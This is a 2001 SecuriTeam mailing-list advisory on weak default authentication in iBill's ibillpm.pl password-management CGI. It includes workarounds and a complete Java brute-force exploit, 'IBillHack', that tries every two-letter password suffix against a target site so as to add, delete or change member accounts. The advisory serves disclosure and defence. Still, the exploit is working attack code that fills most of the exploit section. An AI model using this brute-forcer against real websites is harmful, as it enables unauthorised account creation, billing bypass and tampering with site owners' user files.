[EXPL] Weak Authentication in iBill's Password Management CGI

From: support@securiteam.com
Date: 10/27/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] Weak Authentication in iBill's Password Management CGI
Message-Id: <20011027125203.71E73138BF@mail.der-keiler.de>
Date: Sat, 27 Oct 2001 14:52:03 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Weak Authentication in iBill's Password Management CGI
------------------------------------------------------------------------

SUMMARY

Password Management (PM) solution by <http://www.ibill.com> iBill
consists of a CGI called ibillpm.pl. A security vulnerability in the
product's default installation allows easy brute forcing of the installed
password.

DETAILS

Vulnerable applications:
Websites that use iBill's Password Management CGI script, ibillpm.pl,
using default setup process performed by iBill.

iBill hard codes a weak password for the user management script,
ibillpm.pl. The weak password's prefix is MASTER_ACCOUNT plus only 2
letters that are lowercase (aa - zz). This allows easily brute forcing via
POST requests of the password. That would allow to add/delete/chgpwd of
users in the .htpasswd file. The CGI keeps no auditing record of what
changes it makes, nor does the web log file indicate what username was
added to the system (it does not log POST data).

Impact:
This allows an attacker to bypass the billing system and add an arbitrary
username/password to a website's "member" section. Thousands are estimated
to use the default setup.

Workarounds:
1) Move the script to a less obvious place than the default so it is
harder to find (don't forget to change the path at the iBill admin
website).
2) Change your web server configuration files (httpd.conf for Apache) to
only allow addresses from .ibill.com to access the path to ibillpm.pl. See
your web server documentation for details on how to do this.

Exploit:
// 10/25/2001

import java.net.*;
import java.io.*;

/**
* IBillHack class for informational purposes only.
* This program brute-forces POST requests to the iBill Password Management
CGI
* and allows us to add/delete usernames and change passwords on websites
* that used iBill Password Management using default installation.
* By default iBill sets up the $authpwd as MASTER_ACCOUNTxx, where "xx"
* is a pair of letters [a-z]. It is suggested that all clients of iBill
* that use Password Management aquire a new $authpwd for their ibillpm.pl
* script.
* MASTER_ACCOUNT can be found as part of the <FORM> tag on the signup
pages:
* <input type="hidden" name="account" value="123456-500">
* OR
* <input type="hidden" name="account" value="123456500">
* The last 3 digits is the sub-account, and somtimes there is a dash,
* sometimes not. In this case MASTER_ACCOUNT=123456.
*
* /cgi-bin/ibillpm.pl is the default path to the CGI. Sometimes the
webmaster
* is smart enough not to use the default and request that $authpwd be
changed
* to something more secure. In addition to these measures, a webmaster can

* also modify their httpd.conf to only allow iBill IP addresses to request

* the Password Management CGI script.
*
* The correct $authpwd is not saved here. That is an optional exercise for

* the reader.
*
* Here are the return codes from the ibillpm.pl script (not HTTP status
codes)
* and their meaning:
*
* 501 - authentication failed
* 502 - invalid request type (command must be add, delete, or chgpwd)
* 503 - failed to locate the password file
* 504 - failed to open the password file
* 505 - specified user already exists
* 506 - specified user doesn't exist
* 507 - invalid username
* 508 - invalid password
*
* 201 - add user success
* 202 - delete user success
* 203 - change password success
*
*/

public class IBillHack {

  public static void main(String args[]) {
    if (args.length != 6) {
    System.err.println("Usage: java IBillHack <target_hostname>
</path/to/cgi-bin/ibillpm.pl> " +
        "<add|delete|chgpwd> <username> <password> <master_account>");
    System.err.println("Example: java IBillHack www.somesite.com
/cgi-bin/ibillpm.pl add bob 1pass 123456");
    System.exit(1);
    }

    char letters[] = {
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
    };

    for (int i = 0; i < letters.length; i++) {
    for (int j = 0; j < letters.length; j++) {
      try {
        Socket s = new Socket(InetAddress.getByName(args[0]), 80);
        StringBuffer headers = new StringBuffer();

        headers.append("POST " + args[1] + " HTTP/1.1\n");
        headers.append("Referer: http://" + args[0] + args[1]
             + "\n");
        headers.append("Content-Type:
application/x-www-form-urlencoded\n");
        headers.append("User-Agent: Mozilla/4.0 (compatible; MSIE 5.5;
Windows NT 5.0)\n");
        headers.append("Host: " + args[0] + "\n");

        StringBuffer query = new StringBuffer();

        query.append("\nauthpwd=" + args[5] + letters[i]
           + letters[j] + "&reqtype=" + args[2]
           + "&username=" + args[3] + "&password="
           + args[4] + "&submit=Submit\n");

        String q = query.toString();

        headers.append("Content-Length: " + q.length() + "\n");

        OutputStream os =
        new BufferedOutputStream(s.getOutputStream());

        os.write(headers.toString().getBytes());
        os.write(q.getBytes());
        os.flush();

        System.err.println("Sending...");
        System.out.print(headers.toString());
        System.out.println(q);

        s.close();

        Thread.sleep(500);
      } catch (Exception e) {
        e.printStackTrace();
      }
    }
    }

  
System.err.println("--------------------------------------------------------------------");
  System.err.println("Finished trying all aa-zz combinations for
MASTER_ACCOUNT " + args[5]);
  System.err.println("Try logging into the members section of " + args[0]
+ " with username/password " + args[3] + "/" + args[4]);
  
System.err.println("--------------------------------------------------------------------");
  }

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:mkultra@dqc.org> MK Ultra.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.